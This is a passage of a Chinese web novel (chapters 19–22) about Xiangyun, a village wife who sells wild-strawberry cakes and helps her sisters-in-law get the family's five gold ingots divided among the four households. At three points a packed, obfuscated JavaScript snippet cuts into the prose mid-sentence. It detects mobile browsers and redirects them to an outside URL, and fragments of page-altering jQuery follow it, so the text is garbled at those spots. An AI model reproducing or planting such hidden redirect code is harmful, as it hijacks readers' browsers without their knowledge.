湘云就开始像昨天一样吆喝，果然，不到一个时辰的功夫，篮子的草莓糕又卖完了。 看着日头老高，湘云就决定，去街上逛一逛。 出了巷口，就是大街。 湘云慢悠悠地走着，认真打量着街道两边的店铺。 这些店铺大多只有一间或者两间门面，极少有三四间的。 店铺里卖什么的都有。 有卖珠宝首饰的，有卖衣服布匹的，有卖家具器物的，有卖日杂百货的。当然，还有很多卖吃食的。 湘云主要观察的对象，也是那些卖吃食的店铺。 她发现，这样的店铺，通常都只有一间门面。 现在不是逢集的日子，可是，店铺里依然有三三两两的人，在买吃的。 可想而知，逢集的日子，买吃的人，会更多。 她去了一家包子铺子，买了四个肉包子，然后问包子店的老板：“你在这里卖包子，卖了多少年了？” “买了十几年了，从我爹那辈起，就在这镇上卖包子了。”年轻老板回答道。 湘云点了点头，又去了一家糕点铺子。 这家铺子主要卖千层糕，云片糕之类的。 湘云买了一斤千层糕，问那胖胖的老板娘：“你这糕店，开了多少年了？我记得我小时候就有了。” 老板娘笑答：“差不多，有八年了！” 湘云暗想，难怪大嫂要在板桥镇上开店。 果然，这镇上是个好地方。这些店能开那么多年，就说明，是一定能挣到钱的。 不然，他们早就开不下去，换别的营生去干了。 那么，自己是不是，也要在板桥镇上，开一家糕点店呢？ 19. 胡府家仆 吃过晚饭后，湘云就去了姜二嫂家。 到了姜二嫂家，就看见姜三嫂坐在她们家堂屋的桌边，正纳着鞋底呢。 姜二嫂拉着湘云的手，一起来到桌边坐下：“四弟妹，坐下说话。” “二嫂，怎么不见二哥？”湘云问道。 “你二哥带着松儿去里屋睡觉了，咱们妯娌的事情，不需要他插手。”姜二嫂道。 这时候，左边的房间里传来几声苍老的咳嗽声，湘云知道，这一定是姜二嫂那瘫痪在床的娘家妈，姜二嫂是独生女，没有哥哥弟弟，娘家妈不能动了，她就得接过来伺候着。 于是就说：“我还没有见过表婶呢，要不我去拜见一下？” 姜二嫂摇了摇头：“我娘睡了，改日再见吧，咱们谈正事。” 这时，姜三嫂就笑道：“三个臭皮匠，塞过诸葛亮，今晚，咱们一定能想出对付大嫂的法子。” 说完，姜三嫂又问湘云：“四弟妹，你可甘心让婆婆把那五个金元宝全给大嫂？” 湘云摇了摇头，关系到切身利益的事情，自己的态度必须坚决。 姜二嫂冷笑道：“婆婆的家底，她想一把抓走，等哪天婆婆老了，像我娘这样需要人端吃捧喝了，她万万不会一个人伺候，定要拉着我们的。” “所以，大嫂可恨，就可恨在这一点，四弟妹，你新来乍到，还不知道大嫂是什么样的人，我和二嫂这么多年，不知道吃了她多少亏！”姜三嫂从桌上的碟子里抓起一把瓜子，慢慢地嗑着。 湘云暗想，看来，这个家里，最坏的当属大嫂。 那么多的金元宝，要是真分到自己头上，足够在板桥镇上开一家糕点铺子了，自己当然不会放过。 于是，她清了清嗓子：“二嫂，三嫂，金元宝是姜家祖传之物，我们都是姜家的子孙，人人有份，不该大嫂独得。这事，我听你们二位的安排。” 姜三嫂满意地点了点头：“二嫂，你拿主意吧。” “我——”姜二嫂有些茫然。 想了半天，她道：“要不，我们三个人，一起去找婆婆理论。” 姜三嫂道：“婆婆是个没主意的人，又是跟大哥大嫂过活的，肯定是偏心大哥的，找她有什么用呢？” 湘云也说：“二嫂，我们去找婆婆，婆婆顶多把金元宝留着，暂时不给大嫂。我们既然去闹了，自然是要婆婆现在就把金元宝给分了。” “对！四弟妹言之有理！”对于湘云的话，姜三嫂立刻赞成：“要么就不闹，要闹，就闹个痛快，索性把金元宝闹到手，才不算白闹一场！” 姜二嫂蹙眉道：“那要怎么个闹法呢？” 见姜二嫂茫然的样子，湘云不由得暗暗摇头。 姜二嫂就是个没主意的人，指望她出主意，估计是不行了。 于是她转脸对姜三嫂道：“三嫂，你说，该怎么办？” “第一步，是找人评理，要求分家。”姜三嫂果断地说。 姜二嫂摇了摇头：“三弟妹，不成的，族长是偏向大嫂的，上次糯米面的事，我早已领教过了。” 姜三嫂就问湘云：“四弟妹，你说，该怎么找人？” 见姜三嫂问自己话的时候，眼神中闪过一丝狡狯，湘云立刻就明白，她心里其实已经有了主意，只不过想试探一下自己，看看自己到底怎么说而已。 于是嗫喏道：“我来姜家才几天啊，人都认不全，这事，我都听三嫂的。不过，我也觉得在这件事上，不要指望族长能公平处置了。” 姜三嫂微微一笑：“那咱们就不找族长，咱们老姜家大门大户，那么多至亲，哪里需要找族长了？” “那找谁呢？”姜二嫂忙问。 姜三嫂缓缓道：“自然是大舅和二姑父了。” 湘云就问：“三嫂，你说找这两个人，都有什么道理，说来听听。” 姜三嫂笑道：“大舅和三姑父是家中至亲长辈，平时为人也公道正直，这是一。” “还有呢？”湘云与姜二嫂一起追问。 “第二，族长也罢，姜姓族中其余所有叔叔伯伯也罢，都住在本村，恐怕早就像族长一样，被大嫂甜言蜜语小恩小惠地收买了。找他们，已经不能为咱们做主了。” 一番话，听得湘云暗暗点头。 是啊，要找，自然是要找处世公道的，大舅不会让自己的亲外甥相互之间闹起来，自然是要出面解决的。 姜二嫂这下总算机灵起来了：“那我就摆一桌酒席，把大舅和三姑父请来，席上说这个事情。” 姜三嫂听了，笑道：“就听二嫂的，我们妯娌三人作陪，他们兄弟三人，就不好出面了，毕竟争母亲手里的家产，传出去于他们面上有碍。” 妯娌三人商量好了，各自回家。 回到家中，却见四郎正靠着枕头，手里拿着一卷书看。 见她回来了，就问：“商量得如何了？” 湘云就问：“四郎，你说，婆婆会不会愿意将那五只金元宝分给我们四家？” 四郎沉吟了一会，方道：“娘是个没主意的人，一切都说不准。” 然后，他又问：“娘子，你想要那金元宝？” 湘云顿了一顿，方冷笑道：“金元宝本该是我们四家之物，对不对？” 四郎点了头。 湘云又一字一顿道：“不光金元宝，还有田地——” 四郎讶然：“你想干什么？” 湘云笑道：“放心，我不做欺负人的事，我只是想讨回个公道罢了！” 第二天下午，湘云照例拎了竹篮，去板桥镇上卖野草莓糕。 她还是坐在石头上，等着人们出来买菜的时候，再吆喝。 今天的阳光有点暖，她走得累了，额头上就出了汗。 好在身上带着手帕，她取出手帕，就开始擦额头上的汗水。 “姑娘，你篮子的草莓糕还有多少块？”一个声音自耳畔响起。 湘云急忙抬头，却是昨天那个大户人家少妇身边的轿夫，手里还拎着一个朱红描金的食盒。 于是忙道：“我这里有五十块呢，都还没有卖。” “你给我十块，我们家太太，爱上你这一口了！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187797|164752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”轿夫伸手递给她一把铜钱：“二十文，你数数。” 湘云登时兴奋了起来：“不用数，想必是大叔您数好的。” 轿夫便打开十盒，让湘云把草莓糕一块块的夹进食盒里面的碟子里。 然后，他盖上食盒的盖子，对湘云笑道：“我们家太太说啊，这野草莓的味道，跟她小时候，在山里采的野草莓是一个味。” “看来，你家太太小时候是在山里度过的？”湘云忙问。 “那是，她说她小时候就爱采各种野果。” 湘云想了一想，大着胆子说：“大叔，我以后还要做各种各样的野果子糕，你家太太若喜欢，我就经常从你家后门给你送过去，如何？” 轿夫沉吟道：“这个我可不敢替我家太太做主，不过，你做成了糕，可以到我们府门前叫卖，我家太太必然能听见。” 湘云听了，一阵兴奋：“那府上在哪里？你们家老爷贵姓？” “我们府邸就在清流河边，我家老爷姓胡。”轿夫说完，拎着食盒就要走。 湘云的脑子却灵光一闪：“等等大叔，你家老爷和太太，都是哪里人？” 那轿夫回过头：“他们两位，都是附近不远处杏花村的人！” 说完，他就走了，只留下湘云呆在原地。 天啦，原来昨天那少妇，就是自己嫡亲的姑姐，四郎那位不安分的姐姐！ 她长得，可真是美啊，难怪胡彪为了她，不惜抛下拜堂的新娘子。 她喜欢吃自己做的野草莓糕？ 湘云的脑子，一时有些转不动了。 过了好一会，巷口买菜的人多了起来了，她才想起来去吆喝。 剩下的四十块，也很快就卖光了。 湘云早早就回了家，今儿晚上，姜二嫂要约自己和姜三嫂一起做饭招待大舅和三姑父，求他们做主分金元宝，所以，湘云就没在镇上多逛。 回到家里，见四郎正在搓麻绳，就问：“你不好好读书，搓什么麻绳呢？放着我来搓呗。” “你一天忙到晚的，我看了实在心疼……” 湘云走过去，倒了一杯茶，递给了丈夫：“歇息会，咱们说会话。” “你想说什么，我听你说就是了。” 湘云想了一想，还是决定开口：“四郎，你三姐是个什么样的人？” 四郎楞了一下，随即问道：“你怎么突然问我三姐？你听说她的事情了？” 湘云点了点头：“听说了，我觉得，这事，好像也不能全怪她吧，毕竟，她和胡家姑爷有盟约在先，是那胡家父母不地道……” “娘子，别说了，我不想提这个人！”四郎冷冷地打断了她的话。 湘云不解：“你就那么恨她？她可是你亲姐姐啊！” “要不是因为她，爹不会死！要不是因为她，我们家不会受胡家那般羞辱，你就当我们家没这个姑姐好了！”四郎面色坚决。 湘云叹了口气，看来，在四郎这里，自己是得不到什么有用的消息了。 干脆，还是从姜二嫂或者姜三嫂那里下手得了。 20. 三姑姐的为人 太阳稍微偏西一点的时候，湘云就去了姜二嫂家。 推开院门，只见姜三嫂早就到了正在院子里的水井边拔鸡毛，她身边的一个大陶盆里，还放着洗干净的两条大鲤鱼，大篮子里有一些蔬菜葱姜蒜之类。 厨房里，炊烟袅袅从门口冒出，飘散着炒菜的油香气。 “四弟妹，你来了？今儿做的糕点都卖完了么？”姜三嫂笑道。 湘云点了点头，钻进了厨房：“二嫂，我干什么？” 姜二嫂正在案板上剁肉馅，见她来了，就笑道：“你来得正好，把水井边你三嫂洗好的那篮子菜和葱姜蒜，拎回来切就是了。” 湘云答应了一声，来到水井边，问：“三嫂，大舅和三姑父还没有到么？” “早呢，他们两家都住在隔壁村，路很近，不等到快天黑，他们是不会来的。”姜三嫂答道。 湘云点了点头，自拎了菜篮子回厨房去切。 她先是把篮子里的葱拿出来，一点点地切碎。 想起三姑姐的事情，她就说：“二嫂，逢年过节的时候，三姑奶奶可回来给婆婆拜年拜节？” 姜二嫂有些讶然地看了她一眼。 不过，她还是回答了她的问题：“他三姑是个孝顺的，第一年回来，就把公公气死了，从后，他们兄弟几个便不准他上门，说是怕把娘也气死了。” “那这事过去，也有几年了吧？三姑姐难道就没有再做些功夫，让娘家人认她？”见姜二嫂的肉馅剁得差不多了，湘云就把切好的葱花放进桌上的大海碗里。 “那肯定啊，这几年，每到逢年过节，三姑奶奶都要派人给咱们四家送礼，开头两年，婆婆不许我们收。这两年，婆婆的口气软了许多，虽说还是不肯见她，可是，礼物却容许我们收了。”姜二嫂把肉馅放进大海碗里，就开始调馅料。 湘云感叹道：“到底是自己的亲闺女，哪有不认的道理，估计，也快要和好了。” “是呢，打断骨头连着筋，我们家那位嘴上不说，心里也是惦记妹子的。再加上其余三位姑奶奶劝劝，认是肯定认的了。” “那——二嫂，听你口气，这位三姑姐，在娘家时跟你关系不错？”湘云试探着问。 姜二嫂微笑道：“三丫头人非常聪明，就是性子有些倔，像个男子家。有时候，见我被大嫂欺负，会忍不住为我出头。” “那她为人很善良，很正直？”湘云又问。 “当然，她最见不得老人和孩子受苦，经常拿吃食给村里那些孤苦无依的老人和孩子。”姜二嫂道。 “那她就像个侠客。”湘云赞道。 姜二嫂停了搅拌肉馅的手：“可不是么，她最爱看那些写侠客的话本了，像什么游侠传，红拂女之类的，喜欢看隋唐演义里的那些戏文。” 湘云暗想，能喜欢看这些戏文的女子，当真不是一般的女子，难怪能做出成亲日抢新郎的举动。 “二嫂，那她平时爱做女工吗？”湘云又问。 姜二嫂笑道：“三丫头最讨厌女工了，拿起绣花针就打盹，婆婆怎么骂她都改不了。” 这时候，姜三嫂在院子叫：“四弟妹，再拿个碗来，这老母鸡肚子里好些鸡蛋呢。” 湘云答应了一声。 她拿着一个大碗，就朝水井边走去。 心里，却在思量从姜二嫂那里得到的信息。 那么多的信息，已经足够让她知道，这位三姑姐，是什么人了！ 这就够了。 妯娌三人一起在厨房里忙了点半天，天终于黑了下来。 先是大舅和大舅母到了，然后又是就是三姑和三姑父到了。 大舅是个白胖威严的长者，大舅妈一脸的慈和。三姑父和三姑则都显得精明干练。 家中来了长辈，姜二郎不可能回避，于是热情迎接，请到堂屋喝茶叙话。 妯娌三人川流不息地将十几个菜端上了桌，炖鸡，红烧鲤鱼，油炸肉丸子，水煮牛肉，羊肉汤，色色俱全。 四个晚辈，陪着四个长辈开开心心吃了一顿饭。 至于姜松，老早就吃了一大碗肉圆子，跑到邻居家玩去了。 眼看酒足饭饱，姜二郎就轻轻咳嗽一声：“大舅，三姑父，你们先在这里聊着，我要去稻田里放个水。” 稻田放水是大事，自然是不能耽误的，于是大舅就说：“二郎，你先去吧，你媳妇陪着我们呢。” 二郎走后，姜三嫂看了姜二嫂一眼。 姜二嫂会意，妯娌三个她最大，自然是该她来开这个口。 于是她清了清嗓子：“大舅，三姑父，今儿请你们来，是有个要紧事，请你们为我们妯娌三人做个主。” 大舅就问：“二郎媳妇？有什么要紧事，你说吧，我们都听着呢。” 姜二嫂就说：“是这样的，婆婆手里，有我们姜家祖传的五个金元宝，此事，想必各位长辈都是知道的吧？” 四位长辈纷纷点头。 姜二嫂又道：“现在，大嫂日日夜夜在婆婆耳边嘀咕，要婆婆把金元宝都给她家，好助她去板桥镇上开店。” 说到这里，姜二嫂就不说话了。 四位长辈，也就明白了姜二嫂的意思。 沉默了一会，三姑父开口了：“二郎媳妇，你可愿意你婆婆将金元宝分给你大哥大嫂？” “三姑父，金元宝是我姜家祖传的东西，要分，也是我们兄弟四人平分才是，凭什么老大一家独占？” 三姑父听了，缓缓问：“三郎媳妇，四郎媳妇，你们怎么说？” 湘云与姜三嫂齐声道：“我们跟二嫂一样的想法，金元宝该四家平分才是。” 三姑父看了大舅一眼：“老表，你怎么看这事？” 大舅拈了拈花白的胡须：“此事，若是你们的婆婆不愿意将元宝分给老大，那倒是可以作罢，毕竟，你们的公公临终曾有遗言，那金元宝，是留着给你婆婆傍身防老的。” 听了大舅的话，湘云暗想：“到底大舅是婆婆的亲哥哥，首先就是要为自己的妹子打算。” “大舅，婆婆养老， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15194418|164752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根本不需要那么多银子。金元宝一共五个，我们四家一家一个，还有一个，正好婆婆留着养老。” 见大舅低了头沉吟，三嫂又道：“大舅，三姑父，养老主要靠人，不是靠钱。人老了吃不了多少，您看我二嫂的母亲，还不是需要人照顾么？” “是的，大舅，三姑父，不是我这个做媳妇的存心咒婆婆，实在是人老了万事都说不准，万一婆婆不能行动了，大嫂绝不会放过我们妯娌三人！”姜二嫂也接着道。 见大舅和三姑父有些意动，姜三嫂又道：“养老我们四个媳妇出力，金元宝却是她一家独得，天理何在？何况，大嫂未必就是个孝顺的吧？万一以后伺候媳妇不周，那岂不是更要我们妯娌去照顾？” 这时候，大舅母在一边说话了：“确实啊，金元宝可不是小数目，姜家祖传之物，不能只给大房那一房子孙，他三姑，为免以后他们兄弟四个打破头，我们还是现在做主，把金元宝给分了吧。” 三姑听了，也点了点头，看着三姑父。 三姑父咳嗽了一声：“二郎媳妇，那我们这几个老不死的，就出手来管一管这事。” 大舅也点了点头：“此事，光是我和你三姑父，还不够，还要叫上你们嫡亲的大伯，再加上你大姑父——要不，三天后吧，三天后我们四个老的，一起去你们大哥家，把家重新再分，就可以了。” 见大舅这样说，妯娌三个都很高兴，齐声道：“谢谢大舅，谢谢三姑父。” 回到家里，夜已经有些深了。 四郎依然在灯下攻书，见她回来，就笑问：“今日可有结果？” “自然是有结果的，大舅和三姑父说三日后去找婆婆和你大哥大嫂，金元宝重新分了。” 四郎哈哈一笑：“娘子，你是不是想拿金元宝干什么事情？” “我肯定是有事要干的，光是我一篮子一篮子往街上卖野果子糕，要猴年马月才能发财？所以，要想办法搞到本钱，去板桥镇上开一家店铺，生意才能越做越大啊！” 四郎想了想：“一个金元宝价值一百两银子，是够我们在板桥镇上开一家店铺了。娘子，你既然想做，那就去做吧。” 湘云抿嘴一笑：“你就那么由着我？” “你是我娘子，我不由着你，谁由着你啊？妻子么，是要宠的！”四郎伸手捏了捏她娇嫩的脸蛋。 湘云心里一动，便想试探一下四郎。 于是道：“这一天到现在才得闲，真是累得很了，要是能有个热水泡脚，就舒服了。” 四郎一听，立刻放下书本：“你等着，我这就去厨房给你烧热水！” 不一时，他就端着一盆洗脚水走了进来。 然后，他一把抱起湘云，将她搂在怀里，就伸手给她脱鞋袜。 然后，又弯腰抄起热水给她洗脚。 湘云娇嗔道：“慢点，水太烫了！” 四郎低下头，猛地吻住了她，夫妻两人纠缠在一起，笑声洒遍了整个小院。 院子里的月光，也越来越明亮了。 21. 投其所好 第三天下午，湘云拎着竹篮，走在清流河边。 三姑姐让人买了十块草莓糕，就算给全家吃，一天都吃完了，也没有第二天再买的道理。 任何东西，吃多了就会腻，不能天天吃。 所以，湘云选择两天后再来胡府边叫卖。 而前两天，她依然选择在南头的小巷子里打响她的知名度。 表姨母那边的功夫，也不能耽搁了。 她坐在清流河边的一株大柳树下，这株大柳树正对着胡府的大门，可以看见胡府门口人进人出。 胡府看起来比附近的几处宅院都新，门楼也高大许多，虽然看不见里面的房子，可是，那高大的风火高墙后天，露出许多浓密的大树枝叶，就可以想象里头定然是繁华景象。 她等了好一会，放看见那顶熟悉的青布轿子被两个轿夫抬着，缓缓走了过来。 这一定是三姑姐在外面拜客回府了。 于是，湘云就开始高声叫了起来：“野草莓糕，新鲜的野草莓糕来！” 这样叫了几声之后，果然，那顶小轿子停了下来。 湘云急忙来到轿子面前，轿夫笑着问轿帘里的人：“太太，您还吃这草莓糕吗？” 轿子里，一个清脆的女声道：“买上十块吧，这草莓糕的味道挺不错的。” 听了这话，湘云立刻接口道：“那是，在我们杏山里，这样的野草莓可多了，太太若是喜欢吃，我可以天天送来。” 此言一出，果然，那轿帘立刻被掀起来了。 自家三姑姐那张清丽无双的脸蛋露了出来。 “你说，你是杏山脚下的人？” 湘云点了点头。 “杏山脚下哪个村？”三姑姐立刻问。 湘云缓缓道：“桃花村，不过，我娘家是陆家村的。” 湘云编了一个善意的谎言，因为她不想这么早跟这位姑姐相认。 做生意就是做生意，在不知道自己是亲弟媳的情况下，让她成为自己的忠实客户，这样会更好。 桃花村在杏山的另外一边，桃花村的人跟杏花村的人肯定不熟，所以，她就说自己是杏花村的人。 于是，三姑姐就笑道：“我也是杏上脚下的人，不过，我是你们山对面杏花村的。” 说完，她就对轿夫说：“你进府去拎个食盒来，这些草莓糕我们全要了，让咱们府里头的下人也尝一尝这糕的味道。” 这时候，轿子前突然走过来一个面黄肌瘦，破衣烂衫，捧着破碗的小叫花子。 湘云就笑道：“胡太太，篮子里的糕我要留两块，送给这个孩子，其余都给你吧。” 说完，她就招手叫住了那个小叫化， 然后，用筷子从篮子里夹了两块草莓糕，递到了那小叫化的手上。 三姑姐深深看了她一眼，就说：“这野草莓，眼看长不了几天了，到时候，你还打算做什么糕卖？” “山里的野果可多了，有野桃，野樱桃，还有杨榴，我可以一样接一样的做。”湘云答道。 三姑姐点了点头，温言道：“以后，每隔五天，你就送一篮子糕过来，我整篮子都要。” 湘云忙点了点头。 这时，那轿夫拿了食盒出来，将湘云篮子里的糕都放进食盒里，三姑姐冲她笑了笑，就坐上轿子走了。 湘云心满意足地拎着空空的篮子回了家。 这一次，可谓是离成功又进了一大步。 最低限度，每隔五天，自己就可以不用叫卖，直接把一篮子糕点送到胡府了。 若是表姨母那边的关系再打通了，自己就又可以多一个大客户了。 做生意的事情，急不得，慢慢来吧。 回到家里，四郎一脸的惊讶：“娘子，你这卖糕的速度，是越来越快了呢。” 湘云抿嘴笑道：“你放心，会越来越快的，对了，咱们今晚吃什么？” 四郎侧头想了一会，笑道：“不如，我们一起去田埂上挖点荠菜，咱们包个荠菜饺子吃吧。” 湘云点了点头，寻了另外一个竹篮以及两个小铲子，就拉着四郎去田埂上挖荠菜了。 此时已经接近阳春时节，荠菜也还水嫩。 两口子来到田野，只见天地间一片青绿，春天是真的到了。 说说笑笑的挖了荠菜，两人回到家里，洗干净了荠菜，又泡些粉丝，摊个鸡蛋皮，就调制馅料，和面包饺子。 四郎就道：“什么时候，我若是能一举中第，让朝廷给你封个诰命夫人，你就不用这么辛苦，自己动手做这些活了。” 湘云将一个捏好的饺子放在案板上：“再过一两个月，就是县试了，可有把握？” 四郎蹙眉沉吟道：“这些日子，若是一心攻书的话，火候还是差不多的。” 湘云就说：“如何，我叫你不要插手我的事，一心读书，你却不听。” “娘子，我怎么忍心让你一人忙忙碌碌！”四郎无奈地道。 “罢了，且看这次重新分家，我们是不是能分到一个金元宝。这两天，我已经留神看好了镇上的一家铺面，只要拿到钱，就立刻租下来开店做生意。”湘云缓缓道。 四郎就说：“开店做生意，岂不是更忙了？” 湘云摇了摇头：“既然开了店，自然是要请伙计，找个身强力壮的，啥都不用你干了。” “那开了店，我们就要搬到镇上居住了，家里那五亩地怎么办？”四郎又问。 “以前怎么办的，现在就怎么办，相公，种地太浪费你的时间和精力了，你应该先考秀才，再去考举人，再考进士！” 四郎想了想：“可是，开店做生意，确定挣钱够用吗？” 湘云笑道：“放心吧，就看明天了！” 第二天，众人一大早就聚集在了姜大郎家。 湘云两口子，是最后一个到的。 只见一间堂屋里，坐满了人，除了大舅和三姑父之外，还有两个六七十岁的老者，想必就是大伯父和大姑父了。 至于族长，大舅压根没请。 三个哥哥嫂嫂，再加上一个婆婆，屋子里几乎没有了空隙。 见人都到齐了，大舅就威严地开了口：“今儿，请几个老兄弟来，主要是想跟我妹子商量下家产之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15199857|164752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事。” 姜母脸色一呆，有些为难地看了姜大嫂一眼。 姜大嫂哼了一声，脸色很不好看。 大伯就笑道：“说起来，也是我二弟心地善良，当年救人一命，才有今日丰厚的家底。” 三姑父接口道：“二内兄的仁厚之举，当为子孙带来福荫，而不是让子孙们打破头的去争夺，徒然伤了兄弟和气。” 这时候，姜大嫂就开口了：“三姑父，您老人家言重了，当日分家之时，就已经说好了，婆婆跟着我们过活。而且，公公临终之前，曾有遗言，那五个金元宝，是要婆婆留着傍身的。所以，金元宝自然是婆婆在哪，元宝就在哪里喽。” 见她这样说，三姑父有些尴尬，他一个长辈，总不能跟一个晚辈媳妇去争嘴。 知道二郎媳妇性子弱，嘴巴钝，于是就看了姜三嫂一眼：“三郎媳妇，你可有话说？” 姜三嫂从凳子上站了起来，上前一步，冷笑道：“大嫂，公公当日话是这么说，是没错的。可是听说你最近想在板桥镇上开个店铺，跟婆婆闹着要她把那五个金元宝都拿出来给你，可有此事？” 姜大嫂嘴硬道：“没有此事！” 说完，她又看了婆婆一眼。 姜母会意，这是叫她不要乱说。 这个大儿媳妇素来厉害，明着孝顺，可是，暗里地最会使坏。 姜母最是怕她，再加上又是跟她过活的，所以，也就息事宁人，点了点头。 姜大嫂道：“大舅，大伯，各位长辈，你们瞧，这些都是村里那些长舌妇瞎传的，你们这兴师问罪，问得毫无道理。” “你——”姜三嫂这下彻底没词了。 几位长辈也没了词，屋子里一时静得连一根针都能听见。 见姜大嫂和姜大郎对望一眼，都露出心照不宣的得意的神色，湘云知道，该自己出手了。 于是，她从凳子上站起来，上前几步，对着四位长辈福了一福，不紧不慢地道：“各位长辈，能否容我说几句？” 大舅点了点头：“四郎媳妇，你说。” 湘云方道：“大嫂方才说，她向婆婆索要金元宝，是别人传的谣言，对不对？” 大舅看了一眼姜大嫂。 姜大嫂急忙点了点头：“是的，根本没有影的事，纯粹是别人传的谣言，就是想挑拨我们姜家四兄弟的关系的。” 湘云微微一笑：“大嫂，我再问你一遍，你并没有开口索要婆婆的金元宝，对吗？” “对！”姜大嫂斩钉截铁。 湘云收敛了笑容：“大嫂，婆婆手里分明有金元宝，你为什么不要？” 姜大嫂道：“婆婆的终究是婆婆的，又不是我的，我怎么能要呢？” “可是，婆婆不是跟你过活的吗？”湘云慢条斯理地道。 “跟我过活，我也不能去要她老人家的金元宝啊，我可干不出那样的事。”姜大嫂义正词严一。 湘云仿佛很满意地嗯了一声：“大嫂，也就是说，你也是打心里觉得，这金元宝，本不该是你一家之物。所以，你不能要，给你一家，是没道理的，对不对？” 22. 金元宝 被湘云这一问，姜大嫂登时脸现尴尬之色。 这要怎么回答呢？说是吧，那可是五个金灿灿的元宝，说不是吧，自己的话已经被逼到这个份上了。 这时候，大伯父见姜大嫂犯了难，就是笑道：“四郎媳妇，你有什么话，你就直说吧，你就别一个劲儿地追问你大嫂了。” 湘云笑了笑：“大伯，大嫂的意思，已经很明显了，这个金元宝，原本就是婆婆的，婆婆的不等于是她的，哪怕婆婆跟她过活，婆婆手里的财宝也是我们兄弟四人的。大伯，各位尊长，大嫂既然已经表明了态度，这个家，你们就很好分了啊！” 说完，她扫了一眼众人。 只见姜二嫂看她的神情是一脸的敬佩，姜三婶看她的眼神却满是惊讶，其余几位长辈，却都不由自主地露出了赞赏之色。 静默了一会，三姑父就说：“大郎，大郎媳妇，你们说，你娘这金元宝，到底该不该分掉？” “分什么呢——”姜大郎吞吞吐吐地道：“娘身子骨还健旺，一准能长命百岁，这金元宝啊，就留着她傍身吧。” 姜三嫂立刻道：“大哥，婆婆身子健壮是不假，她现在能给你干活，所以不需要我们给银钱，等到哪天她干不动了，还有四个儿子为她尽孝，所以，养老的事情，是不用愁的。” “哎呦，三弟妹，你这话说得可不对，那老古话说得好，亲生儿子不如近身钱，娘留着金元宝，那才是最好不过的。三弟妹你一心想分娘的财宝，那也要等娘百年以后吧，你现在就图谋娘手里的东西，那以后还能指望你多孝顺娘啊？”姜大嫂冷冷地道。 “你——”姜三嫂登时被姜大嫂噎得说不出话来，顿了一顿方道：“分明是你想独吞婆婆的金元宝，不然我们也不会要求分了。” 姜大嫂冷笑道：“婆婆的金元宝，还好好的在她手里，谁敢说我图谋她的！” 湘云心里暗暗感叹，这姜大嫂果然厉害，明明是她先想着谋算婆婆手里的家底，如今却倒打一耙，说成是姜三嫂要图谋婆婆手里的东西。 她心念转了几转，觉得是时候该自己上场了。 于是，她又道：“大嫂，你的意思，是你没有图谋婆婆手里的金元宝，是不是？” 姜大嫂有些警惕地看了她一眼，不打算轻易再钻她的圈套了。 湘云笑道：“你不回答这个问题，是不是就等于说，你其实是有所图谋的？” “才不是！四弟妹，你可不要胡说！”姜大嫂哼了一声。 湘云嗯了一声：“各位长辈，我现在也看出来了，大嫂指责三嫂图谋婆婆金元宝，三嫂又说大嫂想把婆婆的金元宝一人独吞，我倒是有个主意，让两位嫂嫂免于争执。” 大舅就说：“四郎媳妇，你说，什么主意？” 湘云顿了一顿，方说：“让婆婆把金元宝全部拿出来，放在大舅家里，由四位长辈签字画押，做个见证，婆婆百年以后，再给我们平分——若是有不孝的，就不分，其余三家平分，如何？” 此言一出，姜大嫂的眼珠子都快瞪出来了，她恶狠狠地看着湘云，简直连杀人的心都有了。 大舅听了这话，却很是满意，他不由得摸了摸胡子，笑道：“别说，四郎媳妇这个主意，还真的不错呢！几个老哥们，你们觉得如何？” 姜二嫂姜三嫂都有些不解地看着湘云。 湘云朝她们使了个眼色，姜三嫂立刻会意，姜二嫂却是一脸不解。 大姑父和三姑父交换了一个眼神，大姑父就说：“按说，这个主意，倒也公平。” 这时候，姜大郎有些绷不住了，他有些哭丧着脸看着他大伯：“大伯，您看，这好端端的，是唱的哪一出啊！这不是拿我们当贼防吗？” 到了这时候，饶是姜二嫂再迟钝，也看出来怎么说对自己最有利了。 于是，她也站了起来，上前几步道：“各位长辈，与其这样争来争去，多生事端，不如把这金元宝，先分了吧。” 姜三嫂也道：“我听说大嫂最近打算去板桥镇上开个店，开店所需本钱不小，不如，就把这金元宝分了，大哥大嫂也好就此创立家业，毕竟他们有两个儿子要娶媳妇呢。” 听到这里，大舅说话了：“行了，商量到现在，也该有了结果了，这事，我看这这么着，五个金元宝，你们兄弟四人一家一个，剩下一个，你们的娘亲留着傍身。” 姜大嫂一听，立刻失声道：“大舅——” “大郎媳妇，你若不愿，那就让你婆婆把五个金元宝拿出来，你大舅保管着，等你婆婆百年以后再分。”三姑父道。 姜大嫂浑身一颤，无奈地说了一声：“那——就按照大舅的意思，分吧。” 